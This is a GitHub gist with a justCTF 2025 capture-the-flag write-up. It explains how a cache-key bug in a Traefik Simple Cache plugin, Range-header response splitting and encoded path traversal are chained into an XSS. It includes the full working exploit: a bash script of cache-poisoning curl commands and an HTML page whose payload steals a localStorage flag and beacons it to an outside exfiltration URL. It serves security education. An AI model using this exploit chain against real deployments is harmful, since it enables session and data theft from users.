Skip to content

Instantly share code, notes, and snippets.

@terjanq
Last active August 6, 2025 09:20
Show Gist options
  • Save terjanq/4e7b495d960f78408b045f62ed8e1b1c to your computer and use it in GitHub Desktop.
Save terjanq/4e7b495d960f78408b045f62ed8e1b1c to your computer and use it in GitHub Desktop.
Busy Traffic | justCTF 2025

Busy Traffic | writeup by @terjanq

justCTF 2025

Challenge TL;DR

The challenge consisted of three components: Traefik v3.4.5 proxy, a Simple Cache plugin for Traefik, and an admin bot that adds a flag to local storage on the challenge domain. The intended solution combined cache poisoning and request splitting to build an arbitrary XSS payload from the available assets.

Solution

The solution involved a series of steps:

  1. Find a bug in the Simple Cache library that ignores the ? in the cache key.
  2. With this bug, recognize that http://traefik/assets/dashboard/ABC and http://traefik/assets/dasboard?/ABC have the same cache key.
  3. Use the bug to poison the cache by replacing assets with arbitrary files, such as http://traefik/assets/api-DHmvWmr7.js with http://traefik/assets/Default-qPSf0Yui.js.
  4. Notice that responses from Range: bytes=X-Y get cached, which enables response splitting.
  5. Find an asset that injects <script src=/something.js></script> into the page.
  6. Realize that URL-encoded path traversal works, allowing /dashboard/assets/Default-qPSf0Yui.js/..%2f..%2f/something.js to load /dashboard/something.js.
  7. Sequentially inject multiple scripts to execute setTimeout(name), which evaluates a string stored in the window's name.
  8. Note that cache poisoning can be performed on http://traefik by sending requests with the Host: traefik header.

Simple Cache

The key bug in Simple Cache is an incorrect joining of the cache key components. Since ? is stripped, a request to http://traefik/assets/x.js?query results in a database key of traefik/assets/x.jsquery. This fact is leveraged for resource swapping throughout the solution.

Response Splitting

The challenge's core idea was to construct an arbitrary XSS from available assets using response splitting and cache poisoning. The gadget chain used was:

  1. e=this
  2. t=e.name
  3. i=t
  4. s=2
  5. setTimeout(i,t,s)

Each gadget was obtained by making a curl request with a Range: bytes=X-Y header:

curl -H "Host: traefik" "http://busytraffic.web.jctf.pro:10001/dashboard/<some_asset>" -H "Range: bytes=X-Y"

Injecting Scripts

All scripts are loaded as modules, which complicates the use of e=this. To overcome this, a script that could be injected non-modularly was required.

It happens that /assets/Default-qPSf0Yui.js contains a snippet that creates a new script element pointing to /dashboard/traefiklabs-hub-button-app/main-v1.js. This file is large and contains all the necessary gadgets except for setTimeout. The snippet is shown as follows.

const o=document.createElement("script");o.async=!0,o.onload=()=>{this.hasHubButtonComponent=customElements.get("hub-button-app")!==void 0},o.src="traefiklabs-hub-button-app/main-v1.js",document.head.appendChild(o)

To inject the script from Default-qPSf0Yui.js, the following command was used:

curl -H "Host: traefik" "http://busytraffic.web.jctf.pro:10001/dashboard/assets/Default-qPSf0Yui.js?/../..//assets/api-DHmvWmr7.js" -H "Range: bytes=2556-2769"

This caches a portion of the Default-qPSf0Yui.js response. Due to the Simple Cache bug, the cache key is traefik/dashboard/assets/Default-qPSf0Yui.js/../..//assets/api-DHmvWmr7.js.

When http://traefik/dashboard/assets/Default-qPSf0Yui.js/..%2f..%2f/ is visited, the relative module for api-DHmvWmr7.js is loaded as http://traefik/dashboard/assets/Default-qPSf0Yui.js/..%2f..%2f/api-DHmvWmr7.js. This matches the cached Default-qPSf0Yui.js, and the script to traefiklabs-hub-button-app/main-v1.js is injected.

The gadgets from traefiklabs-hub-button-app/main-v1.js are then cached. URL-encoded path segments are decoded, and the resource points to /dashboard/traefiklabs-hub-button-app/main-v1.js, allowing for another round of response splitting.

# i=t
curl -H "Host: traefik" "http://busytraffic.web.jctf.pro:10001/dashboard/assets/Default-qPSf0Yui.js/..%2f..%2f/traefiklabs-hub-button-app/main-v1.js" -H "Range: bytes=76147-76149"

Constructing a Gadget

Each file is cached for 20 seconds. To get multiple gadgets from /dashboard/traefiklabs-hub-button-app/main-v1.js, the application had to load multiple files sequentially, in 20+ second intervals.

This was achieved by observing how URL fragments change which modules are loaded. For example, http://traefik/dashboard/assets/Default-qPSf0Yui.js/..%2f..%2f/#/udp/a loads index-BH-fqmTU.js and api-DHmvWmr7.js, while #/udp/routers loads more modules. This behavior was chained four times to inject /dashboard/traefiklabs-hub-button-app/main-v1.js and poison a different gadget each time.

The exploit sequence was as follows:

No URL Fragment Poisoned Asset Gadget
1. #/udp/a api-DHmvWmr7.js e=this
2. #/udp/routers Routers-fM5flT_A.js t=e.name
3. #/http/routers Routers-0BHxg3Xd.js i=t
4. #/tcp/routers Routers-Cq0wFHi0.js s=2
5. #/ Index-C0I-aNet.js setTimeout(i,t,s)

The final step used Index-C0I-aNet.js directly for request splitting:

# Execute XSS at http://traefik/dashboard/assets/Default-qPSf0Yui.js/..%2f..%2f/#/
# setTimeout(i,t,s)
curl -H "Host: traefik" --path-as-is "http://busytraffic.web.jctf.pro:10001/dashboard/assets/Default-qPSf0Yui.js/..%2f..%2f/assets/Index-C0I-aNet.js" -H "Range: bytes=13217-13233"

Sending to Admin

The final step was to send the exploit to the admin. The page was frameable, so an iframe was created with the XSS payload in its name and pointed to the first URL fragment. The iframe was then redirected to execute the full chain.

<iframe src="http://traefik/dashboard/assets/Default-qPSf0Yui.js/..%2f..%2f/#/udp/a" name="XSS">

The attached files provide a more detailed look at the exploit.

<body></body>
<script>
const DOMAIN = 'http://traefik';
const sleep = d => new Promise(r=>setTimeout(r,d));
const EXFIL = 'https://terjanq.me/exfil';
const XSS = `
var win = window.open("${DOMAIN}/%GG");
setTimeout(()=>{
navigator.sendBeacon("${EXFIL}/flag", win.localStorage.getItem("flag"));
}, 1000);
`;
const URLS = [
`${DOMAIN}/dashboard/assets/Default-qPSf0Yui.js/..%2f..%2f/#/udp/a`,
`${DOMAIN}/dashboard/assets/Default-qPSf0Yui.js/..%2f..%2f/#/udp/routers`,
`${DOMAIN}/dashboard/assets/Default-qPSf0Yui.js/..%2f..%2f/#/http/routers`,
`${DOMAIN}/dashboard/assets/Default-qPSf0Yui.js/..%2f..%2f/#/tcp/routers`,
`${DOMAIN}/dashboard/assets/Default-qPSf0Yui.js/..%2f..%2f/#/`
]
onload = async () => {
const ifr = document.createElement('iframe');
ifr.name = XSS;
document.body.appendChild(ifr);
ifr.src = URLS[0];
const win = ifr.contentWindow;
await sleep(30_000);
win.location = URLS[1];
await sleep(30_000);
win.location = URLS[2];
await sleep(30_000);
win.location = URLS[3];
await sleep(1_000);
win.location = URLS[4];
}
</script>
#!/bin/bash
# localhost:3333 traefik
domain="traefik"
server="http://busytraffic.web.jctf.pro:10001"
# Spawn a script to ./traefiklabs-hub-button-app/main-v1.js at http://localhost:3333/dashboard/assets/Default-qPSf0Yui.js/..%2f..%2f/#/udp/a
curl -H "Host: $domain" "$server/dashboard/assets/Default-qPSf0Yui.js?/../..//assets/api-DHmvWmr7.js" -H "Range: bytes=2556-2769"
echo -e ""
# e=this
curl -H "Host: $domain" "$server/dashboard/assets/Default-qPSf0Yui.js/..%2f..%2f/traefiklabs-hub-button-app/main-v1.js" -H "Range: bytes=27107-27112"
echo -e "\nvisit http://$domain/dashboard/assets/Default-qPSf0Yui.js/..%2f..%2f/#/udp/a"
sleep 28s
# Spawn a script to ./traefiklabs-hub-button-app/main-v1.js at http://localhost:3333/dashboard/assets/Default-qPSf0Yui.js/..%2f..%2f/#/udp/routers
curl -H "Host: $domain" "$server/dashboard/assets/Default-qPSf0Yui.js?/../..//assets/Routers-fM5flT_A.js" -H "Range: bytes=2556-2769" -s > /dev/null
# t=e.name
curl -H "Host: $domain" "$server/dashboard/assets/Default-qPSf0Yui.js/..%2f..%2f/traefiklabs-hub-button-app/main-v1.js" -H "Range: bytes=181318-181325"
echo -e "\nvisit http://$domain/dashboard/assets/Default-qPSf0Yui.js/..%2f..%2f/#/udp/routers"
sleep 28s
# Spawn a script to ./traefiklabs-hub-button-app/main-v1.js at http://localhost:3333/dashboard/assets/Default-qPSf0Yui.js/..%2f..%2f/#/http/routers
curl -H "Host: $domain" "$server/dashboard/assets/Default-qPSf0Yui.js?/../..//assets/Routers-0BHxg3Xd.js" -H "Range: bytes=2556-2769" -s > /dev/null
# i=t
curl -H "Host: $domain" "$server/dashboard/assets/Default-qPSf0Yui.js/..%2f..%2f/traefiklabs-hub-button-app/main-v1.js" -H "Range: bytes=76147-76149"
echo -e "\nvisit http://$domain/dashboard/assets/Default-qPSf0Yui.js/..%2f..%2f/#/http/routers"
sleep 28s
# Spawn a script to ./traefiklabs-hub-button-app/main-v1.js at http://localhost:3333/dashboard/assets/Default-qPSf0Yui.js/..%2f..%2f/#/tcp/routers
curl -H "Host: $domain" "$server/dashboard/assets/Default-qPSf0Yui.js?/../..//assets/Routers-Cq0wFHi0.js" -H "Range: bytes=2556-2769" -s > /dev/null
# s=2
curl -H "Host: $domain" "$server/dashboard/assets/Default-qPSf0Yui.js/..%2f..%2f/traefiklabs-hub-button-app/main-v1.js" -H "Range: bytes=2082-2084"
echo -e "\nvisit http://$domain/dashboard/assets/Default-qPSf0Yui.js/..%2f..%2f/#/tcp/routers"
sleep 1
# Execute XSS at http://localhost:3333/dashboard/assets/Default-qPSf0Yui.js/..%2f..%2f/#/
# setTimeout(i,t,s)
curl -H "Host: $domain" --path-as-is "$server/dashboard/assets/Default-qPSf0Yui.js/..%2f..%2f/assets/Index-C0I-aNet.js" -H "Range: bytes=13217-13233"
echo -e "\nvisit http://$domain/dashboard/assets/Default-qPSf0Yui.js/..%2f..%2f/#/"
echo ''
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment